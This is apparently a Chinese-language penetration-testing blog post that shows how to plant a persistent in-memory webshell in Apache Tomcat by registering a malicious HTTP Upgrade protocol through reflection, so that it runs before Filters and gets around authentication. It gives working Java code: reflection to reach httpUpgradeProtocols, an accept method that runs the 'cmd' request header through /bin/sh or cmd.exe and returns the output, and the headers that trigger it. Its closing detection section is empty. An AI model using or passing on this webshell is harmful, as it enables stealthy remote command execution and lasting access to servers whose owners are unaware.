0x00 前言
本人水平不高,若有错误请不吝指出。
0x01 起因
在渗透过程中,有些时候虽然我们植入了内存马,但是由于原有Filter的缘故,导致鉴权失败或者是无法访问,在亦或是由于反代的缘故,很多时候无法找到对应路径。为了解决这个问题,我们要在进入请求进入Filter之前进入内存马被拦截处理。
上图出自blue0师傅的文章,blue0师傅研究的是Executor
中的内存马。我发现在Processor
中也存在一种可以利用的内存马,接下来我们针对Http11Processor
进行分析。
0x02 Http11Processor
在一个请求的处理过程中,在AbstractProcessorLight
的process
方法中,会根据当前SocketWrapperBase
的状态进行响应的处理,在OPEN_READ
状态时,会调用对应的Processor
进行处理,如下图所示。
在处理HTTP请求时,对应的Processor
为Http11Processor
。在处理Upgrade时,会进行两件事情:
- 在
Http11Processor
的service
方法中会检查头部的Connection
头中是否为upgrade
- 根据头部的
Upgrade
选择出对应的Upgrade
对象。 - 调用该对象的
accept
方法。
可以注意到,他是从protocol
这个局部变量中调用getUpgradeProtocol
方法获取对应的UpgradeProtocol
,getUpgradeProtocol
这个方法仅仅是从根据Upgrade
头对应的值获取相应的 UpgradeProtocol
。如下图
0x03 AbstractHttp11Protocol
这里的AbstractHttp11Protocol事实上其实是Http11NioProtocol,其继承了AbstractHttp11Protocol
为了判断httpUpgradeProtocols
是在Tomcat启动时进行的实例化还是在请求时进行的实例化,需要知道httpUpgradeProtocols
是在什么时候被赋值的。然后一路追踪找到了init
方法。
在init方法中他做了以下几件事情:
- 通过读取
upgradeProtocols
列表, -
调用
configureUpgradeProtocol
-
将对应
upgradeProtocol
添加到httpUpgradeProtocols
的HashMap
中。
那是什么时候对upgradeProtocols
进行的初始化呢,我们在init
方法上下断点,我们发现是在Tomcat启动时进行的初始化。
因此我们可以通过反射调用把这个httpUpgradeProtocols
添加一项,即可实现Upgrade
内存马。
0x04 获取Http11NioProtocol对象
其实获取Http11NioProtocol的方法很简单,从request
开始能很简单的找到,具体路径如下
request.request.connector.protocolHandler.httpUpgradeProtocols
0x05 构造内存马
获取upgradeProtocols对象
可以直接通过反射调用获取到upgradeProtocols,由于过程比较简单这里直接贴出相关代码。
RequestFacade rf = (RequestFacade) request;
Field requestField = RequestFacade.class.getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(rf);
Field connector = Request.class.getDeclaredField("connector");
connector.setAccessible(true);
Connector realConnector = (Connector) connector.get(request1);
Field protocolHandlerField = Connector.class.getDeclaredField("protocolHandler");
protocolHandlerField.setAccessible(true);
AbstractHttp11Protocol handler = (AbstractHttp11Protocol) protocolHandlerField.get(realConnector);
HashMap<String, UpgradeProtocol> upgradeProtocols = null;
Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
upgradeProtocolsField.setAccessible(true);
upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler);
接下来只需要编写恶意的upgradeProtocol
并将其插入到upgradeProtocols
这个HashMap
中即可。
编写恶意的UpgradeProtocol
在Http11Processor
的process
方法中会检测Connection
和Upgrade
的头部字段,之后会根据Upgrade
调用UpgradeProtocol
的accept
方法。
由于accept
方法只传入了org.apache.coyote.Request request
对象,所以我们需要获取到response
对象。幸运的是,request
对象中存在private Response response;
因此我们可以通过反射获取到response
对象。
值得注意的是,恶意的UpgradeProtoocl需要满足org.apache.coyote.UpgradeProtocol
接口。编写出accept
方法如下
public boolean accept(org.apache.coyote.Request request) {
System.out.println("MyUpgrade.accept");
String p = request.getHeader("cmd");
try {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
Field response = org.apache.coyote.Request.class.getDeclaredField("response");
response.setAccessible(true);
Response resp = (Response) response.get(request);
byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
resp.doWrite(ByteBuffer.wrap(result));
} catch (Exception e){}
return false;
}
这样我们直接注入内存马了
upgradeProtocols.put("hello", new MyUpgrade());
upgradeProtocolsField.set(handler, upgradeProtocols);
值得注意的是需要在HTTP访问时带上Upgrade的头部信息:
Upgrade: hello
Connection: Upgrade
效果如下:
由于其工作在Upgrade中,处理在Filter和Servlet之前,所以可以解决Filter的权限问题。
0x06 查杀效果